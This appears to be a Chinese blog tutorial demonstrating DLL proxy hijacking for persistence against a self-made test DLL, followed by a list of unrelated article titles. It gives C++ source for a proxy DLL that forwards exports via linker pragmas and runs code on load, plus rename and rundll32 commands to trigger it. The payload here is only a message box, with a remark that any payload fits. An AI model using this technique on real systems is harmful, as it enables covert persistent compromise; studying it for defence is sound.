持久化-DLL劫持

原理

通过篡改替换代理原dll文件来达到劫持。

原理演示

假定演练流程

  1. 假定我们要劫持的目标是 c:\temp\legit.dll
  2. 获取 c:\temp\legit.dll 所有的导出功能列表
  3. 创建恶意DLL恶意。dll一旦被目标进程加载,就会执行有效负载
  4. 在恶意文件.dll中,将legit.dll(这是我们要劫持的DLL)重定向/转发所有导出的功能到legit1.dll(这是我们要劫持的DLL,只是用一个新名称)
  5. 复制恶意文件到c:\temp\legit.dll(同级目录下)
  6. 此时,任何在legit.dll中调用任何导出函数的程序都将执行您的恶意负载,然后将执行转移到c:\temp\legit1.dll中相同的导出函数。

目标

为了让实验一目了然,这里使用的c:\temp\legit.dll为我们自己创建

#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
} extern "C" __declspec(dllexport) VOID exportedFunction1(int a)
{
MessageBoxA(NULL, "Hi from legit exportedFunction1", "Hi from legit exportedFunction1", 0);
} extern "C" __declspec(dllexport) VOID exportedFunction2(int a)
{
MessageBoxA(NULL, "Hi from legit exportedFunction2", "Hi from legit exportedFunction2", 0);
} extern "C" __declspec(dllexport) VOID exportedFunction3(int a)
{
MessageBoxA(NULL, "Hi from legit exportedFunction3", "Hi from legit exportedFunction3", 0);
}

这里我使用vs2019创建Dll动态链接库,然后把上诉代码复制到源代码中,假定编译没问题,可以在/Release文件夹下看见legit.dll

这里我们从代码中可以看出有三个导出功能函数

为了确保这是一个有效的dll,我们可以调用exportedFunction1进行验证

好了,现在让我们创建恶意Dl malicious.dlll来代理上面的导出函数。

#include "pch.h"

#pragma comment(linker, "/export:exportedFunction1=legit1.exportedFunction1")
#pragma comment(linker, "/export:exportedFunction2=legit1.exportedFunction2")
#pragma comment(linker, "/export:exportedFunction3=legit1.exportedFunction3") BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{ switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxA(NULL, "Hi from malicious dll", "Hi from malicious dll", 0);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

dll中的关键部分是顶部的#pragma注释,它告诉链接器将exportedFunction1、exportedFunction2、exportedFunction3导出到模块legit1.dll。

另外为了直观的显示我们已经加载了恶意dll,这里会进行提示“Hi from malicious dll”,此处也能插入任意payload。

我们测试一下该dll是否正常。

上面的操作一切完成后,现在我们把两个dll放到同一目录下重命名,然后我们调用合法legit.dll.exportedFunction1,看是否会显示malicious.dll中的提示语。

1、mv legit.dll legit1.dll; mv malicious.dll legit.dll
2、rundll32.exe legit.dll,exportedFunction1

最新文章

  1. a标签点击跳转失效--IE6、7的奇葩bug
  2. Unity3D 脚本手册
  3. Qt qml 模拟iphone slide to unlock 的聚光动画文字效果
  4. 数据bus
  5. tomcat实现ServletContext的addListener方法的源码解说(原创)
  6. JdbcTemplae使用入门&&Spring三种连接池配置&&Spring配置文件引用外部properties文件
  7. 最近的学习的linux命令笔记
  8. HDU-1240 Asteroids! (BFS)这里是一个三维空间,用一个6*3二维数组储存6个不同方向
  9. Java程序猿JavaScript学习笔记(14——扩大jQuery UI)
  10. canvas绘图不清晰的解决方案
  11. CSS三种样式表
  12. [LeetCode] Detect Capital 检测大写格式
  13. 使用js获取页面参数
  14. Springboot添加定时任务
  15. Lucene创建索引流程
  16. Python进阶(三)
  17. django学习~forms
  18. CSU 1817 Bones’s Battery Submit(二分+Floyd)
  19. 网络基础之IP地址和子网掩码
  20. Linux内核设计与实现(chapter1/2)

热门文章

  1. 写Selenium代码时一些技巧
  2. AcWing-1022
  3. 彰显个性│制作一个独一无二的动态 svg 头像
  4. SAP Web Dynpro - 教程
  5. UiPath选择器之动态选择器的介绍和使用
  6. Java模拟西宝高速公路
  7. NC24325 [USACO 2012 Mar S]Flowerpot
  8. 集合—collection、iterator遍历集合
  9. iis 7 -mvc WebApi {"message":"an error has occurred"}
  10. linux学习随笔3之linux安全